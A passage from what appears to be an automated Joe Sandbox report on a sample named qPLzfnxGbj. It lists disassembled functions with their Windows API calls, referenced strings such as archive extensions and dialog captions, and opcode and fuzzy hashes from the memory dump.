                                                              • Instruction Fuzzy Hash: 4C5103315083D68FC712EF28C4505AEFFF0AE9A718F0A4999F5D55B242D231DA4ACB72
                                                              Function 00D85F0B Relevance: .1, Instructions: 148COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f31f11dae50bc21de0fd71df17b955e11b982bf8160754f398923b24e5d17cba
                                                              • Instruction ID: c02a01f8c3f49f8380e55fdbe5af6aab4f137a2a9f8be756872cb0f00a485980
                                                              • Opcode Fuzzy Hash: f31f11dae50bc21de0fd71df17b955e11b982bf8160754f398923b24e5d17cba
                                                              • Instruction Fuzzy Hash: 9151DDB1A087119FC758CF29D48055AF7E1FF88314F058A2EF899E7340DB30EA598B96
                                                              Function 00D8A008 Relevance: .1, Instructions: 112COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
                                                              • Instruction ID: 280fe417babc4da67a7997f031f2fd00989e9bb22505f9b2376db23db4658dae
                                                              • Opcode Fuzzy Hash: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
                                                              • Instruction Fuzzy Hash: F131F4B16047068FDB24EF28C85116ABBD0FB95314F144A2EE4D9C7742D779E909CBB2
                                                              Function 00D77CBA Relevance: .1, Instructions: 106COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
                                                              • Instruction ID: 2c503a7e545a4aaa8953c0bac7a5bf2c29591c6d947a70c5b8f48dc5ff6e4237
                                                              • Opcode Fuzzy Hash: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
                                                              • Instruction Fuzzy Hash: B341C870505B11CFC71ADF38D5559A6B7E4FF4A700B128CAFD06A8B221EB70EA04DB69
                                                              Function 00D992D0 Relevance: .1, Instructions: 76COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                              • Instruction ID: 917c5250460764263792317b7a3602bdf5a6be2290aa49ef97d4cd6a0084bbe8
                                                              • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                              • Instruction Fuzzy Hash: 6D113AB724418243DF148E3ED8B46BFE399FBC6320B6C437ED1524B7D8D222E9459A20
                                                              Function 00D83EAA Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 240COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _swprintf.LIBCMT ref: 00D83EEA
                                                                • Part of subcall function 00D7F6BA: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D7F6CD
                                                                • Part of subcall function 00D889ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00DBE088,?,00000007,00D833E2,?,?,00000050,562D4312), ref: 00D88A0A
                                                              • _strlen.LIBCMT ref: 00D83F0B
                                                              • SetDlgItemTextW.USER32(?,00DB919C,?), ref: 00D83F64
                                                              • GetWindowRect.USER32(?,?), ref: 00D83F9A
                                                              • GetClientRect.USER32(?,?), ref: 00D83FA6
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 00D84051
                                                              • GetWindowRect.USER32(?,?), ref: 00D84081
                                                              • SetWindowTextW.USER32(?,?), ref: 00D840B0
                                                              • GetSystemMetrics.USER32(00000008), ref: 00D840B8
                                                              • GetWindow.USER32(?,00000005), ref: 00D840C3
                                                              • GetWindowRect.USER32(00000000,?), ref: 00D840F3
                                                              • GetWindow.USER32(00000000,00000002), ref: 00D84165
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                                                              • String ID: $%s:$CAPTION$d
                                                              • API String ID: 2407758923-2512411981
                                                              • Opcode ID: 5d04a1a89951a52dfbdbc6610e93ae8eba5a6009aa8ada0b8987a5d07288baeb
                                                              • Instruction ID: 8b87227ad2188fb0ddfe810b92a3a53315e9e9e3439fffa942c060e1f33e1f5e
                                                              • Opcode Fuzzy Hash: 5d04a1a89951a52dfbdbc6610e93ae8eba5a6009aa8ada0b8987a5d07288baeb
                                                              • Instruction Fuzzy Hash: 62818C72508302AFD714EF68CD89E6FBBE9EB89704F04591DFA85D3250D734E9098B62
                                                              Function 00D961A7 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 58libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InitializeCriticalSectionAndSpinCount.KERNEL32(00DC60E0,00000FA0,?,?,00D96185), ref: 00D961B3
                                                              • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00D96185), ref: 00D961BE
                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00D96185), ref: 00D961CF
                                                              • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D961E1
                                                              • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D961EF
                                                              • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00D96185), ref: 00D96212
                                                              • DeleteCriticalSection.KERNEL32(00DC60E0,00000007,?,?,00D96185), ref: 00D96235
                                                              • CloseHandle.KERNEL32(00000000,?,?,00D96185), ref: 00D96245
                                                              Strings
                                                              • kernel32.dll, xrefs: 00D961CA
                                                              • api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D961B9
                                                              • SleepConditionVariableCS, xrefs: 00D961DB
                                                              • WakeAllConditionVariable, xrefs: 00D961E7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
                                                              • String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                              • API String ID: 2565136772-3242537097
                                                              • Opcode ID: 91082a3aab6be2c77ace3f4a2a9342c94f39fcb66c5440a3ea6745d37e8f1d00
                                                              • Instruction ID: 17401033c66b130f660ae6758cb5a6a5b3f859f9af8e094d82f528299e864ae1
                                                              • Opcode Fuzzy Hash: 91082a3aab6be2c77ace3f4a2a9342c94f39fcb66c5440a3ea6745d37e8f1d00
                                                              • Instruction Fuzzy Hash: 3001A771A50713EFDF201BB5AC1DF573A68EB46B617094511F915E2390EA70C800DB75
                                                              Function 00DA37D2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • ___free_lconv_mon.LIBCMT ref: 00DA3816
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA33CE
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA33E0
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA33F2
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3404
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3416
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3428
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA343A
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA344C
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA345E
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3470
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3482
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA3494
                                                                • Part of subcall function 00DA33B1: _free.LIBCMT ref: 00DA34A6
                                                              • _free.LIBCMT ref: 00DA380B
                                                                • Part of subcall function 00DA03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?), ref: 00DA03EA
                                                                • Part of subcall function 00DA03D4: GetLastError.KERNEL32(?,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?,?), ref: 00DA03FC
                                                              • _free.LIBCMT ref: 00DA382D
                                                              • _free.LIBCMT ref: 00DA3842
                                                              • _free.LIBCMT ref: 00DA384D
                                                              • _free.LIBCMT ref: 00DA386F
                                                              • _free.LIBCMT ref: 00DA3882
                                                              • _free.LIBCMT ref: 00DA3890
                                                              • _free.LIBCMT ref: 00DA389B
                                                              • _free.LIBCMT ref: 00DA38D3
                                                              • _free.LIBCMT ref: 00DA38DA
                                                              • _free.LIBCMT ref: 00DA38F7
                                                              • _free.LIBCMT ref: 00DA390F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                              • String ID:
                                                              • API String ID: 161543041-0
                                                              • Opcode ID: 64193a2f3770d2b8fba424d964a9d80445669dea6e1525d4661924eab5b817a2
                                                              • Instruction ID: af5e97596cdb3dead335551bfb99536e743e5a8c6cf6595477f6e94f881f5991
                                                              • Opcode Fuzzy Hash: 64193a2f3770d2b8fba424d964a9d80445669dea6e1525d4661924eab5b817a2
                                                              • Instruction Fuzzy Hash: 8A317332504304AFEF21AA79D845B5AB7EAEF02310F194829F459D7251DF79EE44CB70
                                                              Function 00D8D912 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 157memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D8D919
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              • _wcslen.LIBCMT ref: 00D8D97B
                                                              • _wcslen.LIBCMT ref: 00D8D99A
                                                              • _wcslen.LIBCMT ref: 00D8D9B6
                                                              • _strlen.LIBCMT ref: 00D8DA14
                                                              • GlobalAlloc.KERNEL32(00000040,?,00000000,00DAD9F0,00000000,?,00000000,?,<html>,00000006,<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>,?), ref: 00D8DA2D
                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00D8DA54
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$Global$AllocCreateH_prolog3_Stream_strlen
                                                              • String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
                                                              • API String ID: 1185167184-1533471033
                                                              • Opcode ID: b0a1a785e593e80cdb4be4804310d42c5c5fbcc36ad7b7352e760a451cdaf235
                                                              • Instruction ID: b792b805314b0ba5cbe31630ad7220672164624858bf516465d0e0156663d052
                                                              • Opcode Fuzzy Hash: b0a1a785e593e80cdb4be4804310d42c5c5fbcc36ad7b7352e760a451cdaf235
                                                              • Instruction Fuzzy Hash: C9513E75D00218AFEB04EBA4CC46BEEBBBAEF15310F140019E505AB2C5EB709E45CBB5
                                                              Function 00D93796 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindow.USER32(?,00000005), ref: 00D937C4
                                                              • GetClassNameW.USER32(00000000,?,00000080), ref: 00D937F0
                                                                • Part of subcall function 00D88DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00D80E3F,?,?,?,00000046,00D81ECE,00000046,?,exe,00000046), ref: 00D88DBA
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 00D9380C
                                                              • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00D93823
                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 00D93837
                                                              • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00D93860
                                                              • DeleteObject.GDI32(00000000), ref: 00D93867
                                                              • GetWindow.USER32(00000000,00000002), ref: 00D93870
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
                                                              • String ID: STATIC
                                                              • API String ID: 3820355801-1882779555
                                                              • Opcode ID: a589b73c9e0f2e1731206bb20983e63c2c8288f444752b669f133a966b838d30
                                                              • Instruction ID: 4b48908f7e48991898d4702797c55500162f5ca2d846b8a1cf73e7ee5097174c
                                                              • Opcode Fuzzy Hash: a589b73c9e0f2e1731206bb20983e63c2c8288f444752b669f133a966b838d30
                                                              • Instruction Fuzzy Hash: B5210472144712BBEB21AB64DC4AFEF77ACEF45710F040524FA11E62D1DB308A058BB5
                                                              Function 00D9FF11 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00D9FF25
                                                                • Part of subcall function 00DA03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?), ref: 00DA03EA
                                                                • Part of subcall function 00DA03D4: GetLastError.KERNEL32(?,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?,?), ref: 00DA03FC
                                                              • _free.LIBCMT ref: 00D9FF31
                                                              • _free.LIBCMT ref: 00D9FF3C
                                                              • _free.LIBCMT ref: 00D9FF47
                                                              • _free.LIBCMT ref: 00D9FF52
                                                              • _free.LIBCMT ref: 00D9FF5D
                                                              • _free.LIBCMT ref: 00D9FF68
                                                              • _free.LIBCMT ref: 00D9FF73
                                                              • _free.LIBCMT ref: 00D9FF7E
                                                              • _free.LIBCMT ref: 00D9FF8C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: 44dcbb20370030bba73f894baef15333a9a98de40f8be133deec521984b45bc3
                                                              • Instruction ID: 4770c3aeadd455dc5bd6765203c3817a37f395091523608c9bc66646235aae2d
                                                              • Opcode Fuzzy Hash: 44dcbb20370030bba73f894baef15333a9a98de40f8be133deec521984b45bc3
                                                              • Instruction Fuzzy Hash: FF11727651414CBFCF01EFA4C942CDD3FA9EF09350B5145A5BA089B222DA76EE50DBA0
                                                              Function 00D99AB1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
                                                              • String ID: csm$csm$csm
                                                              • API String ID: 322700389-393685449
                                                              • Opcode ID: 6800599b3178639fae500f6bfd1a6e996bfb3b2796b70c8b0f90bcef8f37933b
                                                              • Instruction ID: b2dc4fc0b7518d2301834a84ea1b1827a9e17920caaf98bda43801328c7c6e20
                                                              • Opcode Fuzzy Hash: 6800599b3178639fae500f6bfd1a6e996bfb3b2796b70c8b0f90bcef8f37933b
                                                              • Instruction Fuzzy Hash: EBB16675800209EFCF18EFA8D9A19AEFBB5EF04314F18455EE8056B212D735DA51CBB2
                                                              Function 00D7D990 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7D99A
                                                              • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00D7D9BF
                                                              • GetLongPathNameW.KERNEL32(?,?,?), ref: 00D7DA11
                                                              • GetShortPathNameW.KERNEL32(?,00000000,00000000), ref: 00D7DA34
                                                              • GetShortPathNameW.KERNEL32(?,?,?), ref: 00D7DA84
                                                              • MoveFileW.KERNEL32(-00000040,-00000028), ref: 00D7DC9F
                                                              • MoveFileW.KERNEL32(-00000028,-00000040), ref: 00D7DCEC
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: NamePath$FileLongMoveShort$H_prolog3__wcslen
                                                              • String ID: rtmp
                                                              • API String ID: 2388273531-870060881
                                                              • Opcode ID: 7d8648e9a7610f58b2240bd74d66e58139cb70b5a48b377e532ada10e4dc2287
                                                              • Instruction ID: 88dd50b9edea076becb18308f31a79dd9b752b02935d07caac727fed02f9e0c9
                                                              • Opcode Fuzzy Hash: 7d8648e9a7610f58b2240bd74d66e58139cb70b5a48b377e532ada10e4dc2287
                                                              • Instruction Fuzzy Hash: 98B12670901218DACF21DFA8CC85BDDBBBAAF19305F448199E04DA7251EB309B89CF70
                                                              Function 00D81E54 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 215COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3__wcslen
                                                              • String ID: .rar$exe$rar$sfx
                                                              • API String ID: 3251556500-630704357
                                                              • Opcode ID: 96e205655261b6db328369dc7ffc479eec1646665efe4553216044621bc0f8c2
                                                              • Instruction ID: 71711da69101d13e4e89ba995ca533d16b76f41d8586ade4d5423ea991401ba2
                                                              • Opcode Fuzzy Hash: 96e205655261b6db328369dc7ffc479eec1646665efe4553216044621bc0f8c2
                                                              • Instruction Fuzzy Hash: D071D035A007149BCB21FFA8C941ABEB7F8EF48B20F24451AF4819B291DB71994AC771
